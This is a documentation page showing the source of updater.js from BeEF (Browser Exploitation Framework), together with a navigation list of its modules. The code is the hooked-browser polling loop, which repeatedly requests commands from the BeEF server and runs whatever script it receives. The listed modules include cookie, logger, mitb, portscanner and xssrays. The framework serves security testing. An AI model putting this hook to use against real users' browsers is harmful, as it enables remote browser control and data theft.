beef-npm
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Node.js package to install and interact with BeEF (Browser Exploitation Framework)
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<h1 class="page-title">Source: updater.js</h1>
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<pre class="prettyprint source linenums"><code>//
// Copyright (c) 2006-2024 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/**
* Object in charge of getting new commands from the BeEF framework and execute them.
* The XHR-polling channel is managed here. If WebSockets are enabled,
* websocket.js is used instead.
* @namespace beef.updater
*/
beef.updater = {
/** XHR-polling timeout. */
xhr_poll_timeout: "<%= @xhr_poll_timeout %>",
/** Hook session name. */
beefhook: "<%= @hook_session_name %>",
/** A lock. */
lock: false,
/** An object containing all values to be registered and sent by the updater. */
objects: new Object(),
/**
* Registers an object to always send when requesting new commands to the framework.
* @param {String} key the name of the object.
* @param {String} value the value of that object.
*
* @example beef.updater.regObject('java_enabled', 'true');
*/
regObject: function(key, value) {
this.objects[key] = escape(value);
},
// Checks for new commands from the framework and runs them.
check: function() {
if(this.lock == false) {
if (beef.logger.running) {
beef.logger.queue();
}
beef.net.flush();
if(beef.commands.length > 0) {
this.execute_commands();
}else {
this.get_commands(); /*Polling*/
}
}
/* The following gives a stupid syntax error in IE, which can be ignored*/
setTimeout(function(){beef.updater.check()}, beef.updater.xhr_poll_timeout);
},
/**
* Gets new commands from the framework.
*/
get_commands: function() {
try {
this.lock = true;
beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null, beef.updater.beefhook+'='+beef.session.get_hook_session_id(), 5, 'script', function(response) {
if (response.body != null && response.body.length > 0)
beef.updater.execute_commands();
});
} catch(e) {
this.lock = false;
return;
}
this.lock = false;
},
/**
* Executes the received commands, if any.
*/
execute_commands: function() {
if(beef.commands.length == 0) return;
this.lock = true;
while(beef.commands.length > 0) {
command = beef.commands.pop();
try {
command();
} catch(e) {
beef.debug('execute_commands - command failed to execute: ' + e.message);
// prints the command source to be executed, to better trace errors
// beef.client_debug must be enabled in the main config
beef.debug(command.toString());
}
}
this.lock = false;
}
};
beef.regCmp('beef.updater');
</code></pre>
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<h2><a href="index.html">Home</a></h2><h3>Namespaces</h3><ul><li><a href="BeefJS.html">BeefJS</a></li><li><a href="beef.are.html">are</a></li><li><a href="beef.browser.html">browser</a></li><li><a href="beef.browser.cookie.html">cookie</a></li><li><a href="beef.browser.popup.html">popup</a></li><li><a href="beef.dom.html">dom</a></li><li><a href="beef.encode.base64.html">base64</a></li><li><a href="beef.encode.json.html">json</a></li><li><a href="beef.geolocation.html">geolocation</a></li><li><a href="beef.hardware.html">hardware</a></li><li><a href="beef.init.html">init</a></li><li><a href="beef.logger.html">logger</a></li><li><a href="beef.mitb.html">mitb</a></li><li><a href="beef.net.html">net</a></li><li><a href="beef.net.connection.html">connection</a></li><li><a href="beef.net.cors.html">cors</a></li><li><a href="beef.net.dns.html">dns</a></li><li><a href="beef.net.local.html">local</a></li><li><a href="beef.net.portscanner.html">portscanner</a></li><li><a href="beef.net.requester.html">requester</a></li><li><a href="beef.net.xssrays.html">xssrays</a></li><li><a href="beef.os.html">os</a></li><li><a href="beef.session.html">session</a></li><li><a href="beef.timeout.html">timeout</a></li><li><a href="beef.updater.html">updater</a></li><li><a href="beef.webrtc.html">webrtc</a></li><li><a href="beef.websocket.html">websocket</a></li></ul><h3>Global</h3><ul><li><a href="global.html#platform">platform</a></li></ul>
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